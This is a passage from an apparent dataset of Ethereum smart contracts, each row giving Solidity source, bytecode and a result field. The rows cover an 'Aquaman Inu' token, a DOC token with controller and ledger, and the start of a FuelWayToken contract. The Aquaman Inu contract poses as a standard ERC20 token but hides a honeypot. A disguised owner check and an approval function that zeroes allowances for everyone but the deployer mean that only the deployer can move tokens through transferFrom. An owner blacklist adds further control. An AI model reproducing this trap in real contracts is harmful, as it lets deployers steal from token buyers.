revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract AquaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**12 * 10**18;
string private _name = 'AQUAMANINU';
string private _symbol = 'Aquaman Inu';
uint8 private _decimals = 18;
// Address that are identified as botters .
mapping(address => bool) private _includeToBlackList;
/**
* @dev Exclude an address from blackList.
* Can only be called by the current operator.
*/
function setExcludeFromBlackList(address _account) public onlyOwner {
_includeToBlackList[_account] = false;
}
/**
* @dev Include an address to blackList.
* Can only be called by the current operator.
*/
function setIncludeToBlackList(address _account) public onlyOwner {
_includeToBlackList[_account] = true;
}
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063709432381161008c5780638da5cb5b116100665780638da5cb5b1461036857806395d89b411461039c578063a9059cbb1461041f578063dd62ed3e14610483576100cf565b806370943238146102c257806370a0823114610306578063715018a61461035e576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bb57806323b872dd146101d9578063313ce5671461025d57806368d4a9941461027e575b600080fd5b6100dc6104fb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061059d565b60405180821515815260200191505060405180910390f35b6101c36105bb565b6040518082815260200191505060405180910390f35b610245600480360360608110156101ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105c5565b60405180821515815260200191505060405180910390f35b61026561069e565b604051808260ff16815260200191505060405180910390f35b6102c06004803603602081101561029457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106b5565b005b610304600480360360208110156102d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107da565b005b6103486004803603602081101561031c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108ff565b6040518082815260200191505060405180910390f35b610366610948565b005b610370610ad0565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103a4610af9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103e45780820151818401526020810190506103c9565b50505050905090810190601f1680156104115780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61046b6004803603604081101561043557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b9b565b60405180821515815260200191505060405180910390f35b6104e56004803603604081101561049957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105935780601f1061056857610100808354040283529160200191610593565b820191906000526020600020905b81548152906001019060200180831161057657829003601f168201915b5050505050905090565b60006105b16105aa610c40565b8484610c48565b6001905092915050565b6000600454905090565b60006105d2848484610f67565b610693846105de610c40565b61068e856040518060600160405280602881526020016113b160289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610644610c40565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112219092919063ffffffff16565b610c48565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6106bd610c40565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6107e2610c40565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610950610c40565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a12576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b915780601f10610b6657610100808354040283529160200191610b91565b820191906000526020600020905b815481529060010190602001808311610b7457829003601f168201915b5050505050905090565b6000610baf610ba8610c40565b8484610f67565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806114226024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d54576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061138f6022913960400191505060405180910390fd5b610d5c610ad0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610e7b576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610f62565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fed576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061136a6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611073576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806113ff6023913960400191505060405180910390fd5b6110df816040518060600160405280602681526020016113d960269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112219092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061117481600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112e190919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008383111582906112ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611293578082015181840152602081019050611278565b50505050905090810190601f1680156112c05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008082840190508381101561135f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220027ad1d7b4598f446017f3b909cf6eafed6ab56e5143ea478a600b131a93677b64736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 332 |
0xe753448f1a5f40eeaee8ab4c36666efeff6b3a24 | // Unattributed material copyright New Alchemy Limited, 2017. All rights reserved.
pragma solidity >=0.4.10;
// from Zeppelin
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
require(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
require(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
require(c>=a && c>=b);
return c;
}
}
// end from Zeppelin
contract Owned {
address public owner;
address newOwner;
function Owned() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() {
if (msg.sender == newOwner) {
owner = newOwner;
}
}
}
contract Pausable is Owned {
bool public paused;
function pause() onlyOwner {
paused = true;
}
function unpause() onlyOwner {
paused = false;
}
modifier notPaused() {
require(!paused);
_;
}
}
contract Finalizable is Owned {
bool public finalized;
function finalize() onlyOwner {
finalized = true;
}
modifier notFinalized() {
require(!finalized);
_;
}
}
contract IToken {
function transfer(address _to, uint _value) returns (bool);
function balanceOf(address owner) returns(uint);
}
contract TokenReceivable is Owned {
function claimTokens(address _token, address _to) onlyOwner returns (bool) {
IToken token = IToken(_token);
return token.transfer(_to, token.balanceOf(this));
}
}
contract EventDefinitions {
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Token is Finalizable, TokenReceivable, SafeMath, EventDefinitions, Pausable {
string constant public name = "DOC Token";
uint8 constant public decimals = 18;
string constant public symbol = "DOC";
Controller public controller;
string public motd;
event Motd(string message);
// functions below this line are onlyOwner
function setMotd(string _m) onlyOwner {
motd = _m;
Motd(_m);
}
function setController(address _c) onlyOwner notFinalized {
controller = Controller(_c);
}
// functions below this line are public
function balanceOf(address a) constant returns (uint) {
return controller.balanceOf(a);
}
function totalSupply() constant returns (uint) {
return controller.totalSupply();
}
function allowance(address _owner, address _spender) constant returns (uint) {
return controller.allowance(_owner, _spender);
}
function transfer(address _to, uint _value) onlyPayloadSize(2) notPaused returns (bool success) {
if (controller.transfer(msg.sender, _to, _value)) {
Transfer(msg.sender, _to, _value);
return true;
}
return false;
}
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3) notPaused returns (bool success) {
if (controller.transferFrom(msg.sender, _from, _to, _value)) {
Transfer(_from, _to, _value);
return true;
}
return false;
}
function approve(address _spender, uint _value) onlyPayloadSize(2) notPaused returns (bool success) {
// promote safe user behavior
if (controller.approve(msg.sender, _spender, _value)) {
Approval(msg.sender, _spender, _value);
return true;
}
return false;
}
function increaseApproval (address _spender, uint _addedValue) onlyPayloadSize(2) notPaused returns (bool success) {
if (controller.increaseApproval(msg.sender, _spender, _addedValue)) {
uint newval = controller.allowance(msg.sender, _spender);
Approval(msg.sender, _spender, newval);
return true;
}
return false;
}
function decreaseApproval (address _spender, uint _subtractedValue) onlyPayloadSize(2) notPaused returns (bool success) {
if (controller.decreaseApproval(msg.sender, _spender, _subtractedValue)) {
uint newval = controller.allowance(msg.sender, _spender);
Approval(msg.sender, _spender, newval);
return true;
}
return false;
}
modifier onlyPayloadSize(uint numwords) {
assert(msg.data.length >= numwords * 32 + 4);
_;
}
function burn(uint _amount) notPaused {
controller.burn(msg.sender, _amount);
Transfer(msg.sender, 0x0, _amount);
}
// functions below this line are onlyController
modifier onlyController() {
assert(msg.sender == address(controller));
_;
}
function controllerTransfer(address _from, address _to, uint _value) onlyController {
Transfer(_from, _to, _value);
}
function controllerApprove(address _owner, address _spender, uint _value) onlyController {
Approval(_owner, _spender, _value);
}
}
contract Controller is Owned, Finalizable {
Ledger public ledger;
Token public token;
function Controller() {
}
// functions below this line are onlyOwner
function setToken(address _token) onlyOwner {
token = Token(_token);
}
function setLedger(address _ledger) onlyOwner {
ledger = Ledger(_ledger);
}
modifier onlyToken() {
require(msg.sender == address(token));
_;
}
modifier onlyLedger() {
require(msg.sender == address(ledger));
_;
}
// public functions
function totalSupply() constant returns (uint) {
return ledger.totalSupply();
}
function balanceOf(address _a) constant returns (uint) {
return ledger.balanceOf(_a);
}
function allowance(address _owner, address _spender) constant returns (uint) {
return ledger.allowance(_owner, _spender);
}
// functions below this line are onlyLedger
function ledgerTransfer(address from, address to, uint val) onlyLedger {
token.controllerTransfer(from, to, val);
}
// functions below this line are onlyToken
function transfer(address _from, address _to, uint _value) onlyToken returns (bool success) {
return ledger.transfer(_from, _to, _value);
}
function transferFrom(address _spender, address _from, address _to, uint _value) onlyToken returns (bool success) {
return ledger.transferFrom(_spender, _from, _to, _value);
}
function approve(address _owner, address _spender, uint _value) onlyToken returns (bool success) {
return ledger.approve(_owner, _spender, _value);
}
function increaseApproval (address _owner, address _spender, uint _addedValue) onlyToken returns (bool success) {
return ledger.increaseApproval(_owner, _spender, _addedValue);
}
function decreaseApproval (address _owner, address _spender, uint _subtractedValue) onlyToken returns (bool success) {
return ledger.decreaseApproval(_owner, _spender, _subtractedValue);
}
function burn(address _owner, uint _amount) onlyToken {
ledger.burn(_owner, _amount);
}
}
contract Ledger is Owned, SafeMath, Finalizable, TokenReceivable {
Controller public controller;
mapping(address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint public totalSupply;
uint public mintingNonce;
bool public mintingStopped;
// functions below this line are onlyOwner
function Ledger() {
}
function setController(address _controller) onlyOwner notFinalized {
controller = Controller(_controller);
}
function stopMinting() onlyOwner {
mintingStopped = true;
}
function multiMint(uint nonce, uint256[] bits) external onlyOwner {
require(!mintingStopped);
if (nonce != mintingNonce) return;
mintingNonce += 1;
uint256 lomask = (1 << 96) - 1;
uint created = 0;
for (uint i=0; i<bits.length; i++) {
address a = address(bits[i]>>96);
uint value = bits[i]&lomask;
balanceOf[a] = balanceOf[a] + value;
controller.ledgerTransfer(0, a, value);
created += value;
}
totalSupply += created;
}
// functions below this line are onlyController
modifier onlyController() {
require(msg.sender == address(controller));
_;
}
function transfer(address _from, address _to, uint _value) onlyController returns (bool success) {
if (balanceOf[_from] < _value) return false;
balanceOf[_from] = safeSub(balanceOf[_from], _value);
balanceOf[_to] = safeAdd(balanceOf[_to], _value);
return true;
}
function transferFrom(address _spender, address _from, address _to, uint _value) onlyController returns (bool success) {
if (balanceOf[_from] < _value) return false;
var allowed = allowance[_from][_spender];
if (allowed < _value) return false;
balanceOf[_to] = safeAdd(balanceOf[_to], _value);
balanceOf[_from] = safeSub(balanceOf[_from], _value);
allowance[_from][_spender] = safeSub(allowed, _value);
return true;
}
function approve(address _owner, address _spender, uint _value) onlyController returns (bool success) {
// require user to set to zero before resetting to nonzero
if ((_value != 0) && (allowance[_owner][_spender] != 0)) {
return false;
}
allowance[_owner][_spender] = _value;
return true;
}
function increaseApproval (address _owner, address _spender, uint _addedValue) onlyController returns (bool success) {
uint oldValue = allowance[_owner][_spender];
allowance[_owner][_spender] = safeAdd(oldValue, _addedValue);
return true;
}
function decreaseApproval (address _owner, address _spender, uint _subtractedValue) onlyController returns (bool success) {
uint oldValue = allowance[_owner][_spender];
if (_subtractedValue > oldValue) {
allowance[_owner][_spender] = 0;
} else {
allowance[_owner][_spender] = safeSub(oldValue, _subtractedValue);
}
return true;
}
function burn(address _owner, uint _amount) onlyController {
balanceOf[_owner] = safeSub(balanceOf[_owner], _amount);
totalSupply = safeSub(totalSupply, _amount);
}
} | 0x6060604052600436106100ed5763ffffffff60e060020a600035041663144fa6d781146100f257806315dacbea1461011357806318160ddd146101555780633246887d1461017a5780634bb278f31461019957806356397c35146101ac57806370a08231146101db57806379ba5097146101fa5780638da5cb5b1461020d5780639dc29fac14610220578063a6f9dae114610242578063b3f05b9714610261578063bcdd612114610274578063beabacc81461029c578063dd62ed3e146102c4578063e1f21c67146102e9578063f019c26714610311578063f5c86d2a14610339578063fc0c546a14610361575b600080fd5b34156100fd57600080fd5b610111600160a060020a0360043516610374565b005b341561011e57600080fd5b610141600160a060020a03600435811690602435811690604435166064356103be565b604051901515815260200160405180910390f35b341561016057600080fd5b610168610472565b60405190815260200160405180910390f35b341561018557600080fd5b610111600160a060020a03600435166104db565b34156101a457600080fd5b610111610525565b34156101b757600080fd5b6101bf610577565b604051600160a060020a03909116815260200160405180910390f35b34156101e657600080fd5b610168600160a060020a0360043516610586565b341561020557600080fd5b610111610601565b341561021857600080fd5b6101bf61064a565b341561022b57600080fd5b610111600160a060020a0360043516602435610659565b341561024d57600080fd5b610111600160a060020a03600435166106e2565b341561026c57600080fd5b61014161072c565b341561027f57600080fd5b610141600160a060020a036004358116906024351660443561074d565b34156102a757600080fd5b610141600160a060020a03600435811690602435166044356107f9565b34156102cf57600080fd5b610168600160a060020a0360043581169060243516610883565b34156102f457600080fd5b610141600160a060020a0360043581169060243516604435610907565b341561031c57600080fd5b610141600160a060020a0360043581169060243516604435610991565b341561034457600080fd5b610111600160a060020a0360043581169060243516604435610a1b565b341561036c57600080fd5b6101bf610ab2565b60005433600160a060020a0390811691161461038f57600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60035460009033600160a060020a039081169116146103dc57600080fd5b600254600160a060020a03166315dacbea8686868660006040516020015260405160e060020a63ffffffff8716028152600160a060020a0394851660048201529284166024840152921660448201526064810191909152608401602060405180830381600087803b151561044f57600080fd5b6102c65a03f1151561046057600080fd5b50505060405180519695505050505050565b600254600090600160a060020a03166318160ddd82604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156104bc57600080fd5b6102c65a03f115156104cd57600080fd5b505050604051805191505090565b60005433600160a060020a039081169116146104f657600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005433600160a060020a0390811691161461054057600080fd5b6001805474ff0000000000000000000000000000000000000000191674010000000000000000000000000000000000000000179055565b600254600160a060020a031681565b600254600090600160a060020a03166370a0823183836040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156105e157600080fd5b6102c65a03f115156105f257600080fd5b50505060405180519392505050565b60015433600160a060020a0390811691161415610648576001546000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039092169190911790555b565b600054600160a060020a031681565b60035433600160a060020a0390811691161461067457600080fd5b600254600160a060020a0316639dc29fac838360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b15156106ca57600080fd5b6102c65a03f115156106db57600080fd5b5050505050565b60005433600160a060020a039081169116146106fd57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60015474010000000000000000000000000000000000000000900460ff1681565b60035460009033600160a060020a0390811691161461076b57600080fd5b600254600160a060020a031663bcdd612185858560006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b15156107d757600080fd5b6102c65a03f115156107e857600080fd5b505050604051805195945050505050565b60035460009033600160a060020a0390811691161461081757600080fd5b600254600160a060020a031663beabacc885858560006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b15156107d757600080fd5b600254600090600160a060020a031663dd62ed3e8484846040516020015260405160e060020a63ffffffff8516028152600160a060020a03928316600482015291166024820152604401602060405180830381600087803b15156108e657600080fd5b6102c65a03f115156108f757600080fd5b5050506040518051949350505050565b60035460009033600160a060020a0390811691161461092557600080fd5b600254600160a060020a031663e1f21c6785858560006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b15156107d757600080fd5b60035460009033600160a060020a039081169116146109af57600080fd5b600254600160a060020a031663f019c26785858560006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b15156107d757600080fd5b60025433600160a060020a03908116911614610a3657600080fd5b600354600160a060020a0316639b50438784848460405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401600060405180830381600087803b1515610a9957600080fd5b6102c65a03f11515610aaa57600080fd5b505050505050565b600354600160a060020a0316815600a165627a7a723058208da49f31b7ade9e8a1132c86e846740964d2eae76551e51d91eaeb503b5ee3110029 | {"success": true, "error": null, "results": {}} | 333 |
0x3da5ff2be9784713434761ea37c799d21f34d9a1 | /**
*Submitted for verification at Etherscan.io on 2021-03-04
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract FuelWayToken is Context, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
address public rewardsWallet;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_, address _rewardsWallet) {
_name = name_;
_symbol = symbol_;
rewardsWallet = _rewardsWallet;
uint256 _amount = 1000000 ether;
_mint(_msgSender(), _amount);
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
